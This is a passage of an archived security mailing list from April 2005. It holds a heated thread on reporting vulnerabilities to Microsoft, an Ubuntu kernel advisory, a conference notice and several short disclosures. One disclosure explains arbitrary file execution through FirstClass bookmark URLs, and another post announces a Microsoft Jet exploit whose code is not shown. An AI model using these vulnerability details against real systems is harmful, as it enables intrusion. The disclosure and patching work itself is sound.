 ommon people start seeing a lot of patches, they start losing faith in the software, which is bad for Microsoft. Therefore, the bad outweighs the good when determining whether to provide a patch for something as insignificant as your OWA advisory. I am not saying that I don't respect your efforts. I am just trying to get accross the message that Microsoft is not out to get us. Everyone thinks of them as this big evil monopolistic empire, but they're not. By the way, has anyone read Writing Secure Code by some of the guys from Microsoft? It's pretty interesting, and it offers some insight as to what are considered critical vulnerabilities and what are considered vulnerabilities with little or no severity. Believe me when I tell you (as I have had 1 on 1 conversations with many security vip's at Microsoft Campus) that Microsoft is doing everything that they can to ensure you a safe, enjoyable experience while using their software.

Btw, Mr. Werner, you seem to be among the common group of anti-Microsoft individuals. May I ask what the vendor of your operating system is? What about your browser? Maybe even your word processor or html editor? Uh-huh, that's what I though.

Regards,
Paul
Greyhats Security
http://greyhatsecurity.org

P.S. I do NOT work for Microsoft. I was merely invited to visit their campus and meet some of their people. Very nice bunch of folks they are. We went out to dinner on a couple occasions and had a good time.
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Re: [Full-disclosure] How to Report a Security Vulnerability to Microsoft

tuytumadreatt.net
Date: Mon Apr 11 2005 - 02:31:07 CDT


>
> Dumb question... since this is openly admitted as for profit you are
> posting this... what are you paying for exploits ?
>
> We all know others pay for them.

Your awkward phrasing confuses me. I am not making any profit off of security research. I do not buy vulnerabilities either, nor do I work for Microsoft. My security research is purely a hobby.

Regards,
Paul
Greyhats Security
http://greyhatsecurity.org

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[Full-disclosure] off topic - owasp logo

From: Paul (onesteptoyahoo.com.au)
Date: Mon Apr 11 2005 - 02:34:06 CDT


Attached is an image which may be suitable for owasp.net.

</rave>
Catch ya
_____________________
one step at a time...

Find local movie times and trailers on Yahoo! Movies.
http://au.movies.yahoo.com

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Owasp Logo.jpg
 
[Full-disclosure] UPDATE was RE: [NT] Microsoft Multiple E-Mail Client AddressSpoofing Vulnerability

From: Randall M (randallmfidmail.com)
Date: Mon Apr 11 2005 - 02:43:09 CDT


:-----Original Message-----
:From: full-disclosure-bounceslists.grok.org.uk
:[mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf
:Of Randall M
:Sent: Sunday, April 10, 2005 7:43 PM
:To: 'SecuriTeam'; full-disclosurelists.grok.org.uk
:Subject: [Full-disclosure] RE: [NT] Microsoft Multiple E-Mail
:Client AddressSpoofing Vulnerability
:
:
:Overall finding: No spoofing is of concern with POP3 account
:or Exchange 2000 using Outlook 2003 since "reply" or "reply to
:all" will only go to the spoof address (used for social
:engineering) and not the default sender address (the one
:attempting to use social engineering). Thus social engineering
:attempts will not work.
:
<SNIP>
____________________________________

I would like to add though a concern. Even though a reply cannot
lead to gaining inside information because the "replying" will only
go to the spoofed address, a "Spoofing" of the sender
can be used to encourage clicking on a link intended to be
harmful. And as it was pointed out that care should be followed,
if the email is viewed with preview pane it is not apparent that
the sender spoofed his address. If my boss sends an email and says
"I want you to read this" I usually don't question the "sender" or
think it to be spoofed. This then brings in to question the rights
of "Send on behalf" that seems to be by passed on Exchange Server.

Thank You
RandallM

__________________________________________________________________-
:-----Original Message-----
:From: SecuriTeam [mailto:supportsecuriteam.com]
:Sent: Sunday, April 10, 2005 10:50 AM
:To: listsecuriteam.com
:Subject: [NT] Microsoft Multiple E-Mail Client Address
:Spoofing Vulnerability
:
<SNIP>-----------------------
:---------
:
:
:SUMMARY
:
: <http://www.microsoft.com/outlook/> Microsoft Outlook
:provides an integrated solution for managing and organizing
:e-mail messages, schedules, tasks, notes, contacts, and other
:information. Remote exploitation of an address spoofing
:vulnerability in various Microsoft Corp. e-mail clients could
:allow attackers to social engineer sensitive information from
:end users.

<SNIP>
______________________________________

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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Jason Coombs (jasoncscience.org)
Date: Mon Apr 11 2005 - 02:47:44 CDT


Paul (greyhatsecurity.org) wrote:
> We went out to dinner on a couple
> occasions and had a good time

Wow, Paul. You sell your soul for a couple of mouthfuls of food?

No way is Microsoft to be trusted just because there are a bunch of potentially-good people doing technical work in the trenches. They are called 'pawns' and the abuse and exploitation of those people is legendary.

I say 'potentially' good because any one of them could, at any moment, quit Microsoft and by so doing prove themselves dedicated to creating a better future for everyone, even when it means a little personal hardship to do so.

The question that matters is who are the executives of Microsoft, and what are they doing today?

You may have temporarily forgotten that the executives at Microsoft have done terrible things that have harmed every person on Earth. Fortunately, the rest of us haven't.

Microsoft must know how to pick a nice bottle of wine.

Regards,

Jason Coombs
jasoncscience.org

-----Original Message-----
From: tuytumadreatt.net
Date: Mon, 11 Apr 2005 07:22:47
To:"Morning Wood" <se_cur_ityhotmail.com>
Cc:full-disclosurelists.grok.org.uk
Subject: Re: [Full-disclosure] How to Report a Security Vulnerability
        toMicrosoft

> this is basicly the same response I had from my OWA advisory ...
>
> >VI. VENDOR RESPONSE
> >
> >Microsoft has reviewed the issue and has made the determination that
> >while a bug fix may be implemented in a future service pack, a security
> >advisory/patch will not be released for this issue
>
> therefore, in the interest of everones security, iDefense released the
> advisory ( as did I ) without a patch being released first.
> it is quite possible they ( Microsoft ) are trying to make out like they
> were'nt contacted before said advisory was released.... but that is just my
> opinion on observation.
>
> my 2 bits,
>
> Donnie Werner
>

That response was given to me when I reported a DoS vulnerability for Internet Explorer (which, might I add, required user interaction). It simply meens that the reported vuln, on a severity scale of 1-10, would pretty much be given a 1. If I'm not mistaken, your OWA vulnerability just spoofs the From address. Although some forms of social engineering MIGHT be possible, there is ultimately no use for something this minor. Think for a second about how much time and resources, including human labor required to produce the patch as well as the technology department employees that must install patches on every computer in large corperations, goes into making a patch. First of all, there's the whole problem with does the solution break 3rd party software. Also theres a problem with cross-platform software (they do have stuff for Mac you know). Another thing they have to worry about is how much money and resources it costs companies other than Microsoft to apply the patches. When c
 ommon people start seeing a lot of patches, they start losing faith in the software, which is bad for Microsoft. Therefore, the bad outweighs the good when determining whether to provide a patch for something as insignificant as your OWA advisory. I am not saying that I don't respect your efforts. I am just trying to get accross the message that Microsoft is not out to get us. Everyone thinks of them as this big evil monopolistic empire, but they're not. By the way, has anyone read Writing Secure Code by some of the guys from Microsoft? It's pretty interesting, and it offers some insight as to what are considered critical vulnerabilities and what are considered vulnerabilities with little or no severity. Believe me when I tell you (as I have had 1 on 1 conversations with many security vip's at Microsoft Campus) that Microsoft is doing everything that they can to ensure you a safe, enjoyable experience while using their software.

Btw, Mr. Werner, you seem to be among the common group of anti-Microsoft individuals. May I ask what the vendor of your operating system is? What about your browser? Maybe even your word processor or html editor? Uh-huh, that's what I though.

Regards,
Paul
Greyhats Security
http://greyhatsecurity.org

P.S. I do NOT work for Microsoft. I was merely invited to visit their campus and meet some of their people. Very nice bunch of folks they are. We went out to dinner on a couple occasions and had a good time.
_______________________________________________
Full-Disclosure - We believe in it.
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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] [USN-110-1] Linux kernel vulnerabilities

From: Martin Pitt (martin.pittcanonical.com)
Date: Mon Apr 11 2005 - 02:59:54 CDT


===========================================================
Ubuntu Security Notice USN-110-1 April 11, 2005
linux-source-2.6.8.1 vulnerabilities
CAN-2005-0867, CAN-2005-0937
===========================================================

A security issue affects the following Ubuntu releases:

Ubuntu 4.10 (Warty Warthog)

The following packages are affected:

linux-image-2.6.8.1-5-386
linux-image-2.6.8.1-5-686
linux-image-2.6.8.1-5-686-smp
linux-image-2.6.8.1-5-amd64-generic
linux-image-2.6.8.1-5-amd64-k8
linux-image-2.6.8.1-5-amd64-k8-smp
linux-image-2.6.8.1-5-amd64-xeon
linux-image-2.6.8.1-5-k7
linux-image-2.6.8.1-5-k7-smp
linux-image-2.6.8.1-5-power3
linux-image-2.6.8.1-5-power3-smp
linux-image-2.6.8.1-5-power4
linux-image-2.6.8.1-5-power4-smp
linux-image-2.6.8.1-5-powerpc
linux-image-2.6.8.1-5-powerpc-smp
linux-patch-debian-2.6.8.1
linux-source-2.6.8.1

The problem can be corrected by upgrading the affected package to
version 2.6.8.1-16.14. You need to reboot the computer after doing a
standard system upgrade to effect the necessary changes.

Details follow:

Alexander Nyberg discovered an integer overflow in the
sysfs_write_file() function. A local attacker could exploit this to
crash the kernel or possibly even execute arbitrary code with root
privileges by writing to an user-writable file in /sys under certain
low-memory conditions. However, there are very few cases where a
user-writeable sysfs file actually exists. (CAN-2005-0867)

Olof Johansson discovered a Denial of Service vulnerability in the
futex functions, which provide semaphores for exclusive locking of
resources. A local attacker could possibly exploit this to cause a
kernel deadlock. (CAN-2005-0937)

In addition this update fixes two race conditions in the ext3 and jfs
file system drivers, which could lead to a kernel crash under certain
(unusual) conditions. However, these cannot easily be triggered by
users, thus they are not security sensitive.
(http://linux.bkbits.net:8080/linux-2.5/gnupatch4248d87aETPJX79hVXl4owAUwu2SmQ,
http://linux.bkbits.net:8080/linux-2.6/cset1.2181.46.242)

  Source archives:

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.14.diff.gz
      Size/MD5: 3144256 0a80b5605fa16e50adf234c833e6bb68
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.14.dsc
      Size/MD5: 2121 6ad2c18460ca29e1a55106beca3c9c14
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1.orig.tar.gz
      Size/MD5: 44728688 79730a3ad4773ba65fab65515369df84

  Architecture independent packages:

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-doc-2.6.8.1_2.6.8.1-16.14_all.deb
      Size/MD5: 6153992 3e521be7b01ba6eab67a17f81185c822
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-patch-debian-2.6.8.1_2.6.8.1-16.14_all.deb
      Size/MD5: 1500544 b243f0a773dfe2f62eb382ca4d89b9db
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-source-2.6.8.1_2.6.8.1-16.14_all.deb
      Size/MD5: 36720790 0b958d6a7e89602089cb8581f1f73032
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-tree-2.6.8.1_2.6.8.1-16.14_all.deb
      Size/MD5: 308474 a03542000c2858203be3d89997c4e45c

  amd64 architecture (Athlon64, Opteron, EM64T Xeon)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-amd64-generic_2.6.8.1-16.14_amd64.deb
      Size/MD5: 247974 bfbbe4b32ead1dde7a8561665cc5999b
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-amd64-k8-smp_2.6.8.1-16.14_amd64.deb
      Size/MD5: 243990 3271780d4b3456de3338dffbaca1eb20
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-amd64-k8_2.6.8.1-16.14_amd64.deb
      Size/MD5: 247200 e6abe01f3199ec0f27eda709ce002df3
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-amd64-xeon_2.6.8.1-16.14_amd64.deb
      Size/MD5: 242362 ed9000e5985839c740e09e0c713ca350
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5_2.6.8.1-16.14_amd64.deb
      Size/MD5: 3179516 b369ff9b759448424a89332ecffd3b9b
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-amd64-generic_2.6.8.1-16.14_amd64.deb
      Size/MD5: 14352682 2770849b44244c93be0d3db4cffc89bf
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-amd64-k8-smp_2.6.8.1-16.14_amd64.deb
      Size/MD5: 14829082 0e724f14e03b9f1eb1423b38a1ee1dae
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-amd64-k8_2.6.8.1-16.14_amd64.deb
      Size/MD5: 14862760 b725acf4facfcf8d3c824a84dbfe41c4
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-amd64-xeon_2.6.8.1-16.14_amd64.deb
      Size/MD5: 14686348 7ff1ce90107b9bc2e3e8f743e2115347

  i386 architecture (x86 compatible Intel/AMD)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-386_2.6.8.1-16.14_i386.deb
      Size/MD5: 277370 4d79f89950fffb6712304f1ace572f3e
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-686-smp_2.6.8.1-16.14_i386.deb
      Size/MD5: 272128 288baa96ee39c2b2994068466efc8755
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-686_2.6.8.1-16.14_i386.deb
      Size/MD5: 275436 390c55b2454e5157a6094dd7d6add605
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-k7-smp_2.6.8.1-16.14_i386.deb
      Size/MD5: 272372 a94bcc0a5cd4bdc87b990ff065d9394a
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-k7_2.6.8.1-16.14_i386.deb
      Size/MD5: 275300 7b597c48cf7697fe475ffd7270dd612e
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5_2.6.8.1-16.14_i386.deb
      Size/MD5: 3220194 42366e9cd8611a887850c780b9f7b7b9
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-386_2.6.8.1-16.14_i386.deb
      Size/MD5: 15495908 98f76b18e2601d1b3d718d48eb7716a0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-686-smp_2.6.8.1-16.14_i386.deb
      Size/MD5: 16345102 4b51792e685948a89accfee813a56d10
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-686_2.6.8.1-16.14_i386.deb
      Size/MD5: 16514792 9e54885c125f0140c36e99a00db7f299
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-k7-smp_2.6.8.1-16.14_i386.deb
      Size/MD5: 16449194 207a0e4785ac6b1af79d3ba0ecd216ef
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-k7_2.6.8.1-16.14_i386.deb
      Size/MD5: 16574272 ffa3ae15b3c1205b0f67006f4bca32f3

  powerpc architecture (Apple Macintosh G3/G4/G5)

    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-power3-smp_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 213042 f3cf4d851ce3b9fa5c929797083e83ac
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-power3_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 213700 0810291588aeba3c4d050cedbd7a8e9c
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-power4-smp_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 212772 1ba6740023da09c0850599d639db9f4f
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-power4_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 213472 df7d310054813452f7e06b6767a20175
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-powerpc-smp_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 213378 974580a5d0f500e6a0beae66abcee54d
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5-powerpc_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 215064 67b77b71a38532be19f3f80058c42253
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-headers-2.6.8.1-5_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 3297442 fc97df70b40c69c8490739c938baa1c0
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-power3-smp_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 16367876 0c0cbd53006d9ff381c6a8f36df58f26
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-power3_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 15942684 3206d593c9a6cce795a2443f685953e8
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-power4-smp_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 16356236 3f0320b5c8ffc4c2e71665f9eb55a3be
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-power4_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 15928378 872b638ca6204c238ffb7b4d98dc2176
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-powerpc-smp_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 16290272 50a3fa177775e1ec7b82d9579f9e9ffe
    http://security.ubuntu.com/ubuntu/pool/main/l/linux-source-2.6.8.1/linux-image-2.6.8.1-5-powerpc_2.6.8.1-16.14_powerpc.deb
      Size/MD5: 15975756 1a2b899c563108c8e2d1a58074ccb145

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] Computer Security Mexico 2005

From: Seguridad en Computo - UNAM (seguridadseguridad.unam.mx)
Date: Mon Apr 11 2005 - 01:54:41 CDT


-----BEGIN PGP SIGNED MESSAGE-----

 ========================================================================

                       Computer Security Mexico 2005

                            Palacio de Mineria
                         May 26th - May 27th, 2005

                             Mexico City, Mexico

 ========================================================================

 Since 1994, Mexico has participated of this celebration through the
 Computer Security Department and UNAM-CERT.

 The goal of Computer Security 2005 Mexico is to create awareness among
 the computer user community about security strategies and mechanisms used
 to protect information systems. Since 1994, Mexico has been organizing
 this great event through the Computer Security Department at UNAM.

 Computer Security 2005 will be an event for all the people who are
 involved in the use, design and administration of computer systems and
 internet community.

          --------------------------------------------------
                           Keynote Speakers

        * Paul Vixie
          Founder & Chairman of Internet Software Consortium

        * Steve Crocker
          CEO, Steve Crocker Associates, LLC and Executive DSL, LLC

        * Hank Nussbacher
          Independent Networking Consultant

        * Dr. Alejandro Pisanty
          Computo Academico, UNAM
          ICANN Board of Directors

        * Rebecca Gurley Bace
            Infidel, Inc.

        * Erick Greenberg
          Chief Technical Officer and Co-Founder of NetFrameworks, Inc.

        * Ralph Logan
          Honeynet Research Alliance

        * Liliana Solha
          CAIS/RNP, Brazil

        * Jason Milletary
          CERT/CC

        * Francisco Monserrat
          RedIRIS, España

        * Jacomo Dimmit Boca Piccolini
          CAIS/RNP, Brazil

        * Juan Carlos Guel Lopez
          Departamento de Seguridad en Computo/UNAM-CERT

              --------------------------------------------------

                             Who should attend ?

    * System administrators who are interested in Computer Security.

    * People working in the field of Computer Security who do handle Computer
      Security incidents.

    * Anybody interested in Computer Security and wants to meet
      another interested people. This event will help him or her improve
      security programs, plans, and tools by listening to the speakers and by
      sharing and interacting with the attendees.

    * People who want to establish incident response teams.

    * Anybody who has a particular interest in network security, monitoring
      tools, intrusion detection and firewalls.

    * Managers of enterprises who are interested in secure transactions via
      the Internet and that need to improve the security of their systems.

              --------------------------------------------------

                            Why should you assist?

 Because it is the opportunity to find out about what is being developed in
 the computer security field and it is also a chance to share your own
 experience and interests with people of the field.

 You can learn about how to manage and respond to computer security incidents
 without exposing your resources.

              --------------------------------------------------
                               Language

        The official Language for the conference Programn will be English
  and Spanish.

              --------------------------------------------------
                           Important Dates

        Trainning and workshops : May 20th - May 25 th

        Conferences: May 26th and May 27th, 2005

              --------------------------------------------------
                             Further Information:

         * Web: http://congreso.seguridad.unam.mx

        * e-mail: congresoseguridad.unam.mx

        * Address:

                Departamento de Seguridad en Cómputo/UNAM-CERT
                Dirección General de Cómputo Académico
                Circuito Exterior, Ciudad Universitaria 04510
                México, D.F. México
                Phone : (52) 56 22 81 69 and (52) 56 85 22 29
                Fax : (52) 56 22 80 43
                 http://www.seguridad.unam.mx
                 http://www.cert.org.mx

- --
Departamento Seguridad en Computo
UNAM-CERT
DGSCA, UNAM E-mail:seguridadseguridad.unam.mx
Circuito Exterior, C. U. Tel.: 5622-81-69 Fax: 5622-80-43
Del. Coyoacan WWW: http://www.seguridad.unam.mx
04510 Mexico D. F. WWW: http://www.cert.org.mx

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_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

tuytumadreatt.net
Date: Mon Apr 11 2005 - 03:25:04 CDT


Jason Coombs's comments and my replies:

> Wow, Paul. You sell your soul for a couple of mouthfuls of food?

I personally find this offensive. There was no "soul-selling" during my visit. My comment was made to show that the guys (at least those that I met at MS) were not brainwashed drones working for big brother as well as to prove the fact that I don't work for Microsoft.

> No way is Microsoft to be trusted just because there are a bunch of
> potentially-good people doing technical work in the trenches. They are called
> 'pawns' and the abuse and exploitation of those people is legendary.

I also met a very important person who is in charge of Internet Explorer. He is not out to get anyone with his world domination schemes as you like to imply. You are right, however, when you say that they are not to be trusted "just because there are a bunch of potentially-good people doing technical work in the trenches." They are to be trusted because they are looking out for us and our right to information privacy/safety.

> I say 'potentially' good because any one of them could, at any moment, quit
> Microsoft and by so doing prove themselves dedicated to creating a better future
> for everyone, even when it means a little personal hardship to do so.

I must ask how this would prove oneself dedicated to creating a better future. Wouldn't that worsen the future? I meen look at how many people use Microsoft products. If everyone quits Microsoft, there would be no more Internet Explorer, Windows, Office, etc. I don't know about you, but I am certainly not about to commit to teaching my grandmother the intricate workings of a linux workstation, especially for the reason that about all she can do is turn on her computer and check her email.

You say a little personal hardship as if quiting one's job is a minor thing. What if I told you that I didn't like your company and that you should quit your job because it will be of little personal hardship to you, your spouse, or your children (if any). In America, with the economy as it is, if you quit your job because you want to "stick it to the man," and then you expect to find another job right away, I have this to say to you: "good luck."
 
> You may have temporarily forgotten that the executives at Microsoft have done
> terrible things that have harmed every person on Earth. Fortunately, the rest of
> us haven't.

Huh? If by terrible things you meen revolutionize the way we communicate and interact with each other and the world around us, then you are right on the money.
 
> Microsoft must know how to pick a nice bottle of wine.
I actually don't drink alchohol.

Sincerely,
Paul
Greyhats Security Group
http://greyhatsecurity.org
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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Re:[Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Thomas Zangl - Mobil (mobiltzi.dhs.org)
Date: Mon Apr 11 2005 - 03:59:43 CDT


 
Am Mon, 11 Apr 2005 07:40:04 +0000 GMT, schrieb "Jason Coombs" <jasoncscience.org>:

Hi,

>Wow, Paul. You sell your soul for a couple of mouthfuls of food?

Why does he sell his soul just because he knows the devel guys
there and say they are potentially not that evil as you believe?

My experience with software companys is that there is a lot of
difference between marketing and the developers.
 
>No way is Microsoft to be trusted just because there are a bunch of potentially-good people doing technical work in the trenches. They are called 'pawns' and the abuse and exploitation of those people is legendary.

Neither is Linux. I won´t trust any software written by humans as it
is proven that humans are errounous.
 
>You may have temporarily forgotten that the executives at Microsoft have done terrible things that have harmed every person on Earth. Fortunately, the rest of us haven't.

<sarcasm>
Ouch. So you think that every single individual (~ 8 Billions on this
earth) has been harmed by MS? Wow, thats what I call a mass
destruction weapon! Call George to free us from those terrorist...
</sarcasm>

Best regards,
--
----------------------------------------------------------------
,yours Thomas Zangl -thomastzi.dhs.org- -TZ1-6BONE-
-http://tzi.dhs.org - http://www.borg-kindberg.ac.at
Use YAMC! now! Get it at http://www.borg-kindberg.ac.at/yamc/
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Re: [Full-disclosure] How to Report a Security VulnerabilitytoMicrosoft

From: Dan Becker (geggamgmail.com)
Date: Mon Apr 11 2005 - 04:39:49 CDT


On Apr 11, 2005 3:59 AM, Thomas Zangl - Mobil <mobiltzi.dhs.org> wrote:

>
> Neither is Linux. I won´t trust any software written by humans as it
> is proven that humans are errounous.

I am curious of your opinion of the OpenBSD proactive approach to
security since you take this stance.

off list is welcome

my opinion that Theo's radical devotion to security is second to none
and I trust the OpenBSD team
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[Full-disclosure] OpenText FirstClass 8.0 Client Arbitrary File Execution

From: dila (dilaboxgmail.com)
Date: Mon Apr 11 2005 - 06:18:21 CDT


Product: OpenText FirstClass 8.0 Client
Homepage: http://www.firstclass.com
Platform: Microsoft Windows
Description: Insufficient validation of user input allows arbitrary
file execution

FirstClass bookmark files allow the user to organise their web
address's using the familiar FirstClass desktop environment. The
vulnerable field has been highlighted in the attached screen dump. The
URL text string is passed directly to the Windows ShellExecute API,
which allows any local/network file to be executed when the bookmark
is accessed. These bookmark files can also be set to "auto-open" if
the user has sufficient privileges.

A similar issue affecting URL's in FirstClass RTF documents was
apparently reported last year, but remains unpatched.

Simply comparing the first seven characters of the input string to
"http://" should be sufficient protection.

- dila

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screen.png
 
[Full-disclosure] How to Report a Securiyt Vulnerability to Microsoft

From: jamie fisher (contact_jamie_fisheryahoo.co.uk)
Date: Mon Apr 11 2005 - 06:47:54 CDT


Hi... For what it is worth I wanted to wade into this discussion pool. Recently I found a BO at rad.msn.com and published it to Full Disclosure but not without first contacting Microsoft with my findings. As it transpires I had sent my findings to the wrong email address. To cut an uninteresting story short, through an itterative process Microsoft and I worked together (no money involved - and I shouldn't think so either) to understand and resolve the issue. Suprisingly I found the people at Microsoft very friendly; the sort of people I'd probably have a pint with at the pub on the weekend.
 
Personally I'm vendor OS agnostic, i.e., I dont give a rats arse as to whether you're alligned with Linux, IBM, VMS, Microsoft or Mr Crappy's OS. As a security consultant, and with politics out of the way my only interest is whether the OS or product can be secured well. In terms of my experience in finding security vulns and flaws in code I'm quite green, but I do know that it is essential for me to foster a good working relationship with vendors if I am to be anything other than a 'here is my big whoopie security vuln: fUx to M$' type of security consultant.
 
Perhaps Microsoft genuinely thought it about time another anouncement was sent to FD to keep the education process from stalling. Personally I think they're doing a stellar job!

Send instant messages to your online friends http://uk.messenger.yahoo.com

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[Full-disclosure] Microsoft Jet (msjet40.dll) Exploit

From: Stuart Pearson (spearsoncomputerterrorism.com)
Date: Mon Apr 11 2005 - 07:47:41 CDT


Microsoft Jet (msjet40.dll) Exploit
 
 

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  • application/octet-stream attachment: msjet.c

 
[Full-disclosure] LotusNotes (Secunia/IBM)

purplemousehush.com
Date: Mon Apr 11 2005 - 08:45:52 CDT


-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

http://secunia.com/advisories/14879/ talks about three. http://www-
128.ibm.com/developerworks/lotus/security/ talks about five.

    * Long String of ASCII 430 Characters Reported to Cause Denial
of Service on Domino Web Server
    * CERT VU#699798 - Lotus Domino allows HTTP header injection
    * Potential Denial of Service Vulnerability During Notes
Authentication
    * Buffer Overruns in Certain Date Fields Cause Domino Server
Crash
    * Potential Denial of Service Vulnerability in Notes Client
-----BEGIN PGP SIGNATURE-----
Note: This signature can be verified at https://www.hushtools.com/verify
Version: Hush 2.4

wkYEARECAAYFAkJafcgACgkQuXvBdKKo5W7uzACcDGUkCGytOe+OwlNna140qL+vvswA
n2/oH+dnvksOcywmJ6iDAlGqvLv3
=rq2s
-----END PGP SIGNATURE-----

Concerned about your privacy? Follow this link to get
secure FREE email: http://www.hushmail.com/?l=2

Free, ultra-private instant messaging with Hush Messenger
http://www.hushmail.com/services-messenger?l=434

Promote security and make money with the Hushmail Affiliate Program:
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Re: [Full-disclosure] LotusNotes (Secunia/IBM)

From: Thomas Kristensen (tksecunia.com)
Date: Mon Apr 11 2005 - 09:14:39 CDT


Hi purplemouse,

A little correction to your posting:

SA14858:
http://secunia.com/advisories/14858/
Describes the following issue:
http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21202446

SA14879:
http://secunia.com/advisories/14879/
Describes the following four issues:
http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21202431
http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21202437
http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21202525
http://www-1.ibm.com/support/docview.wss?rs=463&uid=swg21202526

Kind regards,

Thomas

On Mon, 2005-04-11 at 06:45 -0700, purplemousehush.com wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
>
> http://secunia.com/advisories/14879/ talks about three. http://www-
> 128.ibm.com/developerworks/lotus/security/ talks about five.
>
> * Long String of ASCII 430 Characters Reported to Cause Denial
> of Service on Domino Web Server
> * CERT VU#699798 - Lotus Domino allows HTTP header injection
> * Potential Denial of Service Vulnerability During Notes
> Authentication
> * Buffer Overruns in Certain Date Fields Cause Domino Server
> Crash
> * Potential Denial of Service Vulnerability in Notes Client
> -----BEGIN PGP SIGNATURE-----
> Note: This signature can be verified at https://www.hushtools.com/verify
> Version: Hush 2.4
>
> wkYEARECAAYFAkJafcgACgkQuXvBdKKo5W7uzACcDGUkCGytOe+OwlNna140qL+vvswA
